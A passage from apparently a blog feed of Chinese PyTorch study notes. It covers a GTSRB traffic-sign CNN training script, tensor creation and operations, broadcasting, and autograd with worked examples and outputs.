criterion = nn.CrossEntropyLoss()

# 定义优化器，这里传入了两个参数，一个是模型的参数，一个是学习率
optimizer = optim.SGD(model.parameters(), lr=0.01)

# 训练循环
for epoch in range(epochs):
    for data, target in train_dataloader:
        optimizer.zero_grad()
        output = model(data)
        loss = criterion(output, target)
        loss.backward()
        optimizer.step()

在以上代码中，我们首先定义了一个线性模型model，然后定义了交叉熵损失函数criterion，最后定义了SGD优化器optimizer，并传入了模型的参数与学习率。

接下来，我们进入训练循环，每个时期都会遍历train_dataloader，计算损失函数，并通过优化器来更新模型参数。

基础实现 ​

有了以上的基础知识，那么我们以图像分类模型为例，实现的流程就很清晰了：

加载数据集 -> 定义模型 -> 定义损失函数 -> 定义优化器 -> 训练循环 -> 评估模型 -> 保存模型

根据我们前面的GTSRB数据集，我们可以实现一个简单的图像分类模型，代码如下：

python
import os
import pandas as pd
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
from torchvision.transforms import ToTensor, Compose, Resize, Normalize
from PIL import Image
import matplotlib.pyplot as plt
import numpy as np

# 检查 CUDA 是否可用
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print("使用设备：", device)


# 定义 GTSRB 数据集类
class GTSRB(Dataset):
    def __init__(self, root, split="train", transform=None):
        self.root = root
        self.split = split
        self.transform = transform
        self.data = []
        self.label = []

        if self.split == "train":
            data_dir = os.path.join(self.root, "GTSRB", "Training")
            for class_dir in os.listdir(data_dir):
                class_path = os.path.join(data_dir, class_dir)
                if not os.path.isdir(class_path):
                    continue

                csv_file = os.path.join(class_path, f"GT-{class_dir}.csv")
                if not os.path.exists(csv_file):
                    continue

                df = pd.read_csv(csv_file, delimiter=";")
                for index, row in df.iterrows():
                    filename = os.path.join(class_path, row["Filename"])
                    label = row["ClassId"]
                    self.data.append(filename)
                    self.label.append(label)
        elif self.split == "test":
            data_dir = os.path.join(self.root, "GTSRB", "Final_Test", "Images")
            csv_file = os.path.join(self.root, "GTSRB", "GT-final_test.csv")
            df = pd.read_csv(csv_file, delimiter=";")
            for index, row in df.iterrows():
                filename = os.path.join(data_dir, row["Filename"])
                label = row["ClassId"]
                self.data.append(filename)
                self.label.append(label)

    def __len__(self):
        return len(self.data)

    def __getitem__(self, index):
        image = Image.open(self.data[index])
        label = self.label[index]

        if self.transform:
            image = self.transform(image)
        else:
            image = ToTensor()(image)

        return image, label


# 数据预处理和加载
transform = Compose([Resize((32, 32)), ToTensor(), Normalize((0.5,), (0.5,))])

train_dataset = GTSRB(root="./data/gtsrb", split="train", transform=transform)
test_dataset = GTSRB(root="./data/gtsrb", split="test", transform=transform)

# 批次大小
batch_size = 64
# 加载训练集和测试集 shuffle=True 表示打乱数据顺序
train_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)
test_loader = DataLoader(test_dataset, batch_size=batch_size, shuffle=True)


# 定义模型
class Net(nn.Module):
    def __init__(self):
        super(Net, self).__init__()
        # 输入 3 通道，输出 32 通道，卷积核大小 5
        self.conv1 = nn.Conv2d(3, 32, kernel_size=5)
        # 输入 32 通道，输出 64 通道，卷积核大小 5
        self.conv2 = nn.Conv2d(32, 64, kernel_size=5)
        # 全连接层，输入 64 * 5 * 5，输出 256
        self.fc1 = nn.Linear(64 * 5 * 5, 256)
        # 全连接层，输入 256，输出 43
        self.fc2 = nn.Linear(256, 43)
        # 最大池化层，核大小 2，步长 2
        self.pool = nn.MaxPool2d(2, 2)
        # Dropout 层，丢弃概率 0.5
        self.dropout = nn.Dropout(0.5)
        # ReLU 激活函数
        self.relu = nn.ReLU()

    def forward(self, x):
        # 卷积 -> 池化 -> 激活
        x = self.pool(self.relu(self.conv1(x)))  # [batch, 32, 14, 14]
        x = self.pool(self.relu(self.conv2(x)))  # [batch, 64, 5, 5]
        x = x.view(-1, 64 * 5 * 5)
        x = self.relu(self.fc1(x))  # [batch, 256]
        x = self.dropout(x)
        x = self.fc2(x)  # [batch, 43]
        return x


model = Net().to(device)  # 将模型移动到 GPU

# 定义损失函数和优化器
criterion = nn.CrossEntropyLoss()
# 学习率 0.01，动量 0.9 的 SGD 优化器
optimizer = optim.SGD(model.parameters(), lr=0.01, momentum=0.9)

# 训练模型
epochs = 100
for epoch in range(epochs):
    model.train()
    running_loss = 0.0
    for i, (inputs, labels) in enumerate(train_loader):
        inputs, labels = inputs.to(device), labels.to(device)  # 将数据移动到 GPU

        # 清零参数梯度
        optimizer.zero_grad()
        # 前向传播
        outputs = model(inputs)
        # 计算损失
        loss = criterion(outputs, labels)
        # 反向传播和优化
        loss.backward()
        optimizer.step()

        running_loss += loss.item()
        if i % 100 == 99:  # 每 100 个批次打印一次
            print(f"[{epoch + 1}, {i + 1}] loss: {running_loss / 100:.3f}")
            running_loss = 0.0

    # 在测试集上评估模型
    model.eval()
    correct = 0
    total = 0
    with torch.no_grad():
        for inputs, labels in test_loader:
            inputs, labels = inputs.to(device), labels.to(device)  # 将数据移动到 GPU
            outputs = model(inputs)
            _, predicted = torch.max(outputs.data, 1)
            total += labels.size(0)
            correct += (predicted == labels).sum().item()
    print(f"第 {epoch + 1} 轮测试集准确率：{100 * correct / total:.2f}%")

# 保存模型
torch.save(model.state_dict(), "model.pth")
print("训练完成，模型已保存为 model.pth。")

在以上代码中，我们首先定义了一个Net类，该类继承自nn.Module类，实现了一个简单的卷积神经网络模型。然后我们定义了一个model模型，并将模型移动到 GPU。接着我们定义了交叉熵损失函数criterion和SGD优化器optimizer，并传入了模型的参数与学习率。最后我们进入训练循环，每个时期都会遍历train_loader，计算损失函数，并通过优化器来更新模型参数。在每个时期结束后，我们会在测试集上评估模型的性能，并打印测试集的准确率。最后我们保存了训练好的模型。

具体来说，我们的分类是这样实现的：

  • 定义一个简单的卷积神经网络模型Net。

  • 加载GTSRB数据集，并进行预处理。

  • 定义交叉熵损失函数criterion和SGD优化器optimizer。

  • 进入训练循环，每个时期都会遍历train_loader，计算损失函数，并通过优化器来更新模型参数。

  • 在每个时期结束后，我们会在测试集上评估模型的性能，并打印测试集的准确率。

其图示如下：

流程图如下：

]]> wutianli@tianli0.top (Tianli) 学习笔记 <![CDATA[Pytorch 学习笔记1]]> https://blog.tianli0.top/posts/2024/Pytorch1 https://blog.tianli0.top/posts/2024/Pytorch1 Tue, 03 Dec 2024 00:00:00 GMT 简介 ​

Pytorch是一个开源的深度学习框架，由Facebook开发，提供了动态计算图的机制，使得模型的构建和调试更加灵活和方便。本文将介绍Pytorch的基础知识，包括张量（Tensor）、自动求导（Autograd）和模型构建等内容。

Paper Implementations grouped by framework Paper Implementations grouped by framework

截止目前，Pytorch在占有率上已经超过了Tensorflow，成为了最受欢迎的深度学习框架之一。

优势：

  • 简洁，易于使用，封装了很多高级API，方便用户快速构建模型。

  • 强大的社区及生态支持，有大量的开源项目和模型可供使用。

  • 使用CUDA加速，支持NVIDIA GPU的CUDA加速，训练速度快。

特性：

  • 动态计算图（Dynamic Computation Graphs）： PyTorch 的计算图是动态的，这意味着它们在运行时构建，并且可以随时改变。这为实验和调试提供了极大的灵活性，因为开发者可以逐行执行代码，查看中间结果。

  • 自动微分（Automatic Differentiation）： PyTorch 的自动微分系统允许开发者轻松地计算梯度，这对于训练深度学习模型至关重要。它通过反向传播算法自动计算出损失函数对模型参数的梯度。

  • 张量计算（Tensor Computation）： PyTorch 提供了类似于 NumPy 的张量操作，这些操作可以在 CPU 和 GPU 上执行，从而加速计算过程。张量是 PyTorch 中的基本数据结构，用于存储和操作数据。

  • 丰富的 API： PyTorch 提供了大量的预定义层、损失函数和优化算法，这些都是构建深度学习模型的常用组件。

  • 多语言支持： PyTorch 虽然以 Python 为主要接口，但也提供了 C++ 接口，允许更底层的集成和控制。

对于环境配置，可以参考官方文档。

张量（Tensor） ​

张量是 PyTorch 中的基本数据结构，类似于 NumPy 中的数组。张量可以存储和操作多维数据，支持各种数学运算和线性代数操作。在 PyTorch 中，张量可以在 CPU 和 GPU 上运行，从而加速计算过程。

张量的概念 ​

在数学中：

  • 标量（Scalar）：只有一个数值的张量，如 1、2、3 等。

  • 向量（Vector）：有多个数值组成的张量，如 [1, 2, 3]。

  • 矩阵（Matrix）：二维张量，如 [[1, 2], [3, 4]]。

  • 张量（Tensor）：多维张量，如 [[[1, 2], [3, 4]], [[5, 6], [7, 8]]]。

但在 PyTorch 中，张量是一个更加通用的概念，可以是任意维度的数组。

  • 0 维张量：标量（Scalar）。

  • 1 维张量：向量（Vector）。

  • 2 维张量：矩阵（Matrix）。

  • 3 维张量：三维张量，时间序列数据、RGB 图像等。

例：

  • 3维 = 时间序列

  • 4维 = RGB 图像

  • 5维 = 视频

在图像中，一个图像可以用三个维度表示：高度、宽度和通道数。例如，一张 224x224 的 RGB 图像可以表示为一个 3x224x224 的张量。

python
(width, height, channel) = 3D

但是，在机器学习中，我们需要处理大量图片或者文档，也就是说我们需要处理一个集合，这个集合就是一个张量。

python
(batch_size, width, height, channel) = 4D

其中，batch_size 表示一次处理的图片数量。

创建张量 ​

在 PyTorch 中，我们可以使用 torch.Tensor 类来创建张量。张量可以是标量、向量、矩阵或多维张量。

python
import torch # 导入 PyTorch 库, 如果你不知道这是什么含义，请自行学习Python基础知识

# 创建一个标量（0 维张量）
scalar = torch.tensor(1.0)

# 创建一个向量（1 维张量）
vector = torch.tensor([1.0, 2.0, 3.0])

# 创建一个矩阵（2 维张量）
matrix = torch.tensor([[1.0, 2.0], [3.0, 4.0]])

# 创建一个三维张量
tensor = torch.tensor([[[1.0, 2.0], [3.0, 4.0]], [[5.0, 6.0], [7.0, 8.0]]])

print(scalar)
print(vector)
print(matrix)
print(tensor)

可以看到，我们使用 torch.tensor 函数来创建张量，然后打印出来。在 PyTorch 中，张量的数据类型是 torch.Tensor，可以通过 dtype 属相来查看。

类似的，我们还可以使用 torch.zeros、torch.ones、torch.randn 等函数来创建全 0 张量、全 1 张量和随机张量。

python
import torch

# 创建全 0 张量
zeros = torch.zeros(2, 3) # 2x3 的全 0 张量

# 创建全 1 张量
ones = torch.ones(2, 3)

# 创建随机张量
randn = torch.randn(2, 3)

print(zeros)
print(ones)
print(randn)

结果：

shell
tensor([[0., 0., 0.],
        [0., 0., 0.]])
tensor([[1., 1., 1.],
        [1., 1., 1.]])
tensor([[ 1.0898, -0.8992,  1.2634],
        [-0.2780,  1.1508, -2.3810]])

类似于Matlab和Numpy，Pytorch的Tensor有多种构造方法，以下是常见的方法：

python
import torch


# 1. 直接构造
a = torch.tensor([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]])

# 2. 全1构造
b = torch.ones(3, 4)

# 3. 全0构造
c = torch.zeros(3, 4)

# 4. 随机构造 rand/randn
# rand是从0到1的均匀分布，randn是标准正态分布
d = torch.randn(3, 4)

# 5. 从numpy构造
import numpy as np
e = torch.from_numpy(np.array([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]]))

# 6. 对角为1的构造，其他为0
f = torch.eye(3, 4)

# 7. linspace构造
# torch.linspace(start, end, steps=100) 也就是从start到end，均匀分成step份
g = torch.linspace(1, 10, 10)

# 8. arange构造
# torch.arange(start, end, step=1) 也就是从start到end，间隔为step
h = torch.arange(1, 10, 1)

# 9. normal构造
# torch.normal(mean, std, size) 也就是从均值为mean，标准差为std的正态分布中采样，size是采样的数量
i = torch.normal(0, 1, (3, 4))

# 10. randperm构造
# torch.randperm(n) 也就是生成一个0到n-1的随机排列
j = torch.randperm(10)


print(a)
print(b)
print(c)
print(d)
print(e)
print(f)
print(g)
print(h)
print(i)
print(j)

张量的操作 ​

  • 基础数学运算，在 PyTorch 中，我们可以对张量进行各种数学运算和线性代数操作，如加法、减法、乘法、除法、矩阵乘法等。
python
import torch

# 创建两个张量
a = torch.tensor([[1.0, 2.0]
                , [3.0, 4.0]])
b = torch.tensor([[5.0, 6.0]
                , [7.0, 8.0]])

# 加法
c = a + b

# 减法
d = a - b

# 乘法
e = a * b

# 除法
f = a / b

# 矩阵乘法
g = torch.matmul(a, b)

print(c)
print(d)
print(e)
print(f)
print(g)

结果：

shell
tensor([[ 6.,  8.],
        [10., 12.]])
tensor([[-4., -4.],
        [-4., -4.]])
tensor([[ 5., 12.],
        [21., 32.]])
tensor([[0.2000, 0.3333],
        [0.4286, 0.5000]])
tensor([[19., 22.],
        [43., 50.]])
  • 索引操作，我们可以使用索引操作来访问张量的元素，类似于 NumPy 中的索引操作。

注意：索引操作结果与原张量共享内存，修改索引操作结果会影响原张量。

例子：

python
import torch

# 创建一个张量
a = torch.tensor([[1.0, 2.0, 3.0]
                , [4.0, 5.0, 6.0]
                , [7.0, 8.0, 9.0]])

# 访问第一行第一列元素
print(a[0, 0])

# 访问第一行
print(a[0])

# 修改第一行第一列元素
a[0, 0] = 0.0

# 现在，我们来查看原张量
print(a)

结果：

shell
tensor(1.)
tensor([1., 2., 3.])
tensor([[0., 2., 3.],
        [4., 5., 6.],
        [7., 8., 9.]])
  • 形状操作，我们可以使用 size() 函数来查看张量的形状，使用 view() 函数来改变张量的形状。

注意：view() 函数返回的张量与原张量本质上是一个张量，只是形状不同，共享内存，相当于同一个数据的不同观察方式，因此操作view()返回的张量会影响原张量。

python
import torch

# 创建一个张量
a = torch.tensor([[1.0, 2.0, 3.0]
                , [4.0, 5.0, 6.0]
                , [7.0, 8.0, 9.0]])

# 查看张量的形状
print(a.size())

# 改变张量的形状
b = a.view(1, 9) # 改变为 1x9 的张量

print(b)

# 现在，我们试着来修改 b 的值
b[0, 0] = 0.0

# 我们来查看原张量
print(b)
print(a)

结果：

shell
torch.Size([3, 3]) // 这里表示3行3列
tensor([[1., 2., 3., 4., 5., 6., 7., 8., 9.]])
tensor([[0., 2., 3., 4., 5., 6., 7., 8., 9.]])
tensor([[0., 2., 3.],
        [4., 5., 6.],
        [7., 8., 9.]])

可以看到，以上操作修改了 b 的值，也影响了原张量 a 的值，所以要注意这一点，我们如果要保留原张量的值，可以使用 clone() 函数来复制一个张量。

也可以使用 reshape() 函数来改变张量的形状，reshape() 函数返回的张量与原张量不共享内存，相当于复制了一个张量，但是此函数并不能保证返回的是其拷贝值，所以官方不推荐使用。

注：使用 clone() 还有一个好处是会被记录在计算图中，即梯度回传到副本时也会传到源 Tensor 。 3. 取值操作 如果我们有一个元素 tensor ，我们可以使用 .item() 来获得这个 value，而不获得其他性质。

python
import torch

# 创建一个张量
a = torch.tensor([[1.0, 2.0, 3.0]
                , [4.0, 5.0, 6.0]
                , [7.0, 8.0, 9.0]])

# 复制一个张量
b = a.clone()

# 改变 b 的值
b[0, 0] = 0.0

# 查看 a 和 b 的值
print(a)
print(b)
  • 广播机制，PyTorch 支持广播操作，可以对不同形状的张量进行运算，如果你感觉到广播操作有些难以理解，可以简单地将其理解为对不同形状的张量进行适当的复制，使得它们的形状相同，然后再进行运算。看以下例子：
python
import torch

# 创建两个张量
a = torch.tensor([[1.0, 2.0, 3.0]
                , [4.0, 5.0, 6.0]
                , [7.0, 8.0, 9.0]])
b = torch.tensor([1.0, 2.0, 3.0])

# 广播操作
c = a + b

print(c)

结果：

shell
tensor([[ 2.,  4.,  6.],
        [ 5.,  7.,  9.],
        [ 8., 10., 12.]])

可以看到，我们对一个 3x3 的张量 a 和一个 1x3 的张量 b 进行了广播操作，得到了一个 3x3 的张量 c。

  • 其他操作，PyTorch 还提供了很多其他操作，如转置、拼接、切片、矩阵分解等，这些操作可以帮助我们更方便地处理张量。
python
import torch

# 创建一个张量
a = torch.tensor([[1.0, 2.0, 3.0]
                , [4.0, 5.0, 6.0]
                , [7.0, 8.0, 9.0]])

# 转置
b = a.t()

# 拼接
c = torch.cat((a, b), dim=0) # 按行拼接

# 切片
d = a[0:2, 0:2] # 取第 0 行到第 1 行，第 0 列到第 1 列

# 矩阵分解
u, s, v = torch.svd(a)

# 条件筛选
e = a[a > 5]

# 上、下三角，对角矩阵获取
f = torch.triu(a) # 上三角
g = torch.tril(a) # 下三角
h = torch.diag(a) # 获取对角线元素

# 张量分块
i = torch.chunk(a, 2, dim=0) # 按行分块，分成 2 块,dim=0表示按行分块，dim=1表示按列分块

print(b)
print(c)
print(d)
print(u)
print(s)
print(v)
print(e)
print(f)
print(g)
print(h)
print(i)

除开上述操作外，PyTorch 还提供了很多其他操作，很多类似于Matlab中的矩阵操作，可参考官方文档 torch.Tensor 方法。

自动求导（Autograd） ​

在深度学习中，自动求导是一个非常重要的功能，它可以帮助我们自动计算梯度，从而实现反向传播算法，训练深度学习模型。PyTorch 提供了自动求导功能，称为 Autograd。

Autograd 的概念 ​

Autograd 是 PyTorch 中的自动求导模块，它可以自动计算张量的梯度，从而实现反向传播算法。在 PyTorch 中，所有的张量都有一个 requires_grad 属性，当 requires_grad=True 时，PyTorch 会自动追踪所有对该张量的操作，并自动计算梯度。

在数学中，微分是一个非常重要的概念，它可以帮助我们计算函数局部变化率，从而实现优化算法。在深度学习中，我们需要计算损失函数对模型参数的梯度，从而实现模型的训练。

在Autograd开始之前，我们需要先了解计算图的概念。 计算图是一个有向无环图，它由节点和边组成，每个节点表示一个操作，每条边表示一个张量。在 PyTorch 中，计算图是动态的，它在运行时构建，并且可以随时改变。

过于抽象？

引用自PyTorch 的 Autograd--知乎

我们把它想象成一个错综复杂的管道结构，不同的管道之间通过节点连接起来，我们有一个注水口，一个出水口。我们在入口注入数据的之后，数据就沿着设定好的管道路线缓缓流动到出水口，这时候我们就完成了一次正向传播。想象一下输入的 tensor 数据在管道中缓缓流动的场景。

在这个过程中，我们可以通过管道的每个节点，看到数据的变化，这个变化就是梯度的变化。我们可以通过这个变化来计算梯度，这就是反向传播。

而Autograd就是这个管道的设计者，他知道每个节点的作用，知道数据的流动方向，知道数据的变化，知道梯度的变化。所以他可以帮我们计算梯度。

Autograd 的使用 ​

在 PyTorch 中，我们可以使用 torch.Tensor 是包的核心类，如果一个张量的 requires_grad=True，那么它将会追踪对其的所有操作，并自动计算梯度。

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.tensor(1.0, requires_grad=True)

# 创建一个函数 y = x^2
y = x ** 2

# 计算 y 对 x 的梯度，backward() 函数会自动计算梯度
y.backward()

# 查看 x 的梯度
print(x.grad)

结果：

shell
tensor(2.)

可以看到，我们创建了一个张量 x，并设置 requires_grad=True，然后创建了一个函数 y = x^2，最后计算了 y 对 x 的梯度，得到了 x 的梯度为 2.0。

注意：backward() 函数会自动计算梯度，但是只能对标量进行求导，如果要对非标量进行求导，需要传入一个和 y 同形状的张量作为参数。

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.tensor([1.0, 2.0, 3.0], requires_grad=True)

# 创建一个函数 y = x^2
y = x ** 2

# 计算 y 对 x 的梯度，backward() 函数会自动计算梯度
y.backward(torch.tensor([1.0, 1.0, 1.0]))

# 查看 x 的梯度
print(x.grad)

结果：

shell
tensor([2., 4., 6.])

要组织一个张量被跟踪历史，可以使用 detach() 函数，这样就可以防止梯度的传播。

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.tensor(1.0, requires_grad=True)

# 创建一个函数 y = x^2
y = x ** 2

# 使用 detach() 函数防止梯度传播
z = y.detach()

# 计算 z 对 x 的梯度
z.backward()

# 查看 x 的梯度
print(x.grad)

此时运行会报错，因为我们使用了 detach() 函数，防止了梯度的传播，所以无法计算梯度。

还有一个非常重要的类 torch.autograd.Function ，Tensor 和 Function 是相互关联的，Tensor 记录了创建它的 Function，也就是创建了一个无环图，它编码了完整的计算历史。每个张量都有一个.grad_fn属性，该属性引用了创建 Tensor 自身的Function(除非这个张量是用户手动创建的，即这个张量的grad_fn是 None )。

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.tensor(1.0, requires_grad=True)

# 创建一个函数 y = x^2
y = x ** 2

print(x.grad_fn)
print(y.grad_fn)

结果：

shell
None
<PowBackward0 object at 0x00000201998CF460>

可以看到，x 的 grad_fn 为 None，因为它是用户手动创建的，而 y 的 grad_fn 为 PowBackward0，因为它是通过 x 计算得到的。

如果需要计算导数，需要使用 backward() 函数，该函数会计算当前张量的梯度，然后将梯度累加到 .grad 属性中。

梯度 ​

在 PyTorch 中，我们可以使用 backward() 函数来计算梯度，然后使用 .grad 属性来查看梯度。

数学上，梯度是一个向量，它包含了函数在每个维度上的变化率，可以帮助我们找到函数的最小值或最大值。若有向量函数y→=f(x→)，那么 y→ 关于 x→ 的梯度就是一个雅可比矩阵：

J=(∂y1∂x1⋯∂y1∂xn⋮⋱⋮∂ym∂x1⋯∂ym∂xn)

而 torch.autograd 这个包就是用来计算一些雅可比矩阵的乘积的。例如，如果 v 是一个标量函数 l=g(y→) 的梯度：

v=(∂l∂y1⋯∂l∂ym)

由链式法则，我们可以得到：

vJ=(∂l∂y1⋯∂l∂ym)(∂y1∂x1⋯∂y1∂xn⋮⋱⋮∂ym∂x1⋯∂ym∂xn)=(∂l∂x1⋯∂l∂xn)

注意：grad在反向传播过程中是累加的(accumulated)，这意味着每次运行反向传播，梯度都会累加，所以在反向传播之前需要把梯度清零。

一个简单的求梯度的例子：

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.tensor(1.0, requires_grad=True)

# 创建一个函数 y = x^2
y = x ** 2

# 计算 y 对 x 的梯度
y.backward()

# 查看 x 的梯度
print(x.grad)

结果：

shell
tensor(2.)

可以看到，我们创建了一个张量 x，并设置 requires_grad=True，然后创建了一个函数 y = x^2，最后计算了 y 对 x 的梯度，得到了 x 的梯度为 2.0。

现在，我们来看一个更复杂的例子，计算一个函数 y=x3+2x2+3x+4 的梯度。

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.tensor(1.0, requires_grad=True)

# 创建一个函数 y = x^3 + 2x^2 + 3x + 4
y = x ** 3 + 2 * x ** 2 + 3 * x + 4

# 计算 y 对 x 的梯度
y.backward()

# 查看 x 的梯度
print(x.grad)

结果：

shell
tensor(10.)

可以看到，我们创建了一个张量 x，并设置 requires_grad=True，然后创建了一个函数 y = x^3 + 2x^2 + 3x + 4，最后计算了 y 对 x 的梯度，得到了 x 的梯度为 10.0。

现在我们来看一个雅可比向量积的例子：

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.randn(3, requires_grad=True)
print(x)

y = x * 2
i = 0
while y.data.norm() < 1000:
    y = y * 2
    i = i + 1
print(y)
print(i)

结果：

shell
tensor([ 0.1115, -1.1299,  1.0451], requires_grad=True)
tensor([  114.1972, -1157.0621,  1070.1959], grad_fn=<MulBackward0>)
9

在这个例子中，我们创建了一个张量 x，并设置 requires_grad=True，然后创建了一个函数 y = x * 2，然后不断地乘以 2，直到 y 的范数大于 1000，最后得到了 y 的值和乘法的次数。

不过，在这种情况下，y 不再是一个标量，所以我们不能直接计算雅可比矩阵，但是如果我们想要计算雅可比向量积，我们可以传递一个相同形状的张量作为参数。

python
import torch

# 创建一个张量，并设置 requires_grad=True
x = torch.randn(3, requires_grad=True)

# 创建一个函数 y = x * 2
y = x * 2

# 计算雅可比向量积
v = torch.tensor([0.1, 1.0, 0.0001], dtype=torch.float)
y.backward(v)

# 查看 x 的梯度
print(x.grad)

结果：

shell
tensor([2.0000e-01, 2.0000e+00, 2.0000e-04])

可以看到，我们创建了一个张量 x，并设置 requires_grad=True，然后创建了一个函数 y = x * 2，然后计算了雅可比向量积，得到了 x 的梯度。

模型构建 ​

]]> wutianli@tianli0.top (Tianli) 学习笔记